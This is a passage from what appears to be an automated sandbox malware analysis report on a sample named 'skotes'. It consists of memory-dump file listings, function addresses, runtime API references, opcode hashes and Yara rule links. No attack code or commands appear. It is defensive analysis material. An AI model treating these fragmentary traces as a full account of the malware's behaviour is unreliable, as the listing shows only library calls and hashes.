                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2508902052-0
                                                                                                                                                                                                                                                                                    • Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
                                                                                                                                                                                                                                                                                    • Instruction ID: d8de56902b551e4d988e04396434b245e2edc549c489c6fd994515fc2e42543a
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 46814971E00225AFCB19DFA8C590A6DB7F5BF48304B1586ADE449AB701C770ED52CB84
                                                                                                                                                                                                                                                                                    Function 0017EC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0017EC81
                                                                                                                                                                                                                                                                                      • Part of subcall function 00178F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00178F50
                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 0017ECE7
                                                                                                                                                                                                                                                                                    • Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 0017ECFF
                                                                                                                                                                                                                                                                                    • Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 0017ED0C
                                                                                                                                                                                                                                                                                      • Part of subcall function 0017E7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0017E7D7
                                                                                                                                                                                                                                                                                      • Part of subcall function 0017E7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0017E86F
                                                                                                                                                                                                                                                                                      • Part of subcall function 0017E7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0017E879
                                                                                                                                                                                                                                                                                      • Part of subcall function 0017E7AF: Concurrency::location::_Assign.LIBCMT ref: 0017E8AD
                                                                                                                                                                                                                                                                                      • Part of subcall function 0017E7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0017E8B5
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2363638799-0
                                                                                                                                                                                                                                                                                    • Opcode ID: f321df45b6313eec00a8cbf66057f992a4b0bfd44e527d20da490ad5851c5c92
                                                                                                                                                                                                                                                                                    • Instruction ID: c50d39067ab912f86e355b17d674b439479b3c71fd11f9ef60ac0b0889959956
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f321df45b6313eec00a8cbf66057f992a4b0bfd44e527d20da490ad5851c5c92
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 7751A531A00205DFCF25DF90C895BADB7F5AF58310F1580A9E90A7B392CB71AE45CB91
                                                                                                                                                                                                                                                                                    Function 04CB003E Relevance: 1.5, Strings: 1, Instructions: 299COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2948792772.0000000004CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_4cb0000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                                                                                    • String ID: !@Xf
                                                                                                                                                                                                                                                                                    • API String ID: 0-2682489270
                                                                                                                                                                                                                                                                                    • Opcode ID: 6cc3cbc6c482e386e16434ecc579e649520b5202578305c4e20e64f5ebf837b5
                                                                                                                                                                                                                                                                                    • Instruction ID: 2870bedb2f6bf37f9512ab4629c13e2c619fd586f49f39b66eec05b60bb83e3b
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 6cc3cbc6c482e386e16434ecc579e649520b5202578305c4e20e64f5ebf837b5
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: AA51C4EB34D121BD710285436F64AFB672FE1C6730B398427F487D6502F2946A4E71B2
                                                                                                                                                                                                                                                                                    Function 0016CB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • NtFlushProcessWriteBuffers.NTDLL ref: 0016CBAA
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: BuffersFlushProcessWrite
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2982998374-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 81de3c394b87220ad3973f495d86e10eda429b0f602dbba8b4431bbbbc22502c
                                                                                                                                                                                                                                                                                    • Instruction ID: d8a43fde1f45bce4ba2164a176f775b242ac6e8d2523dfe54094e5848dd32672
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 81de3c394b87220ad3973f495d86e10eda429b0f602dbba8b4431bbbbc22502c
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 30B09232A1393047CA922B98BC086AD77159B85B5230A0256D841A76248B101DC25BD4
                                                                                                                                                                                                                                                                                    Function 0016DD91 Relevance: .1, Instructions: 144COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
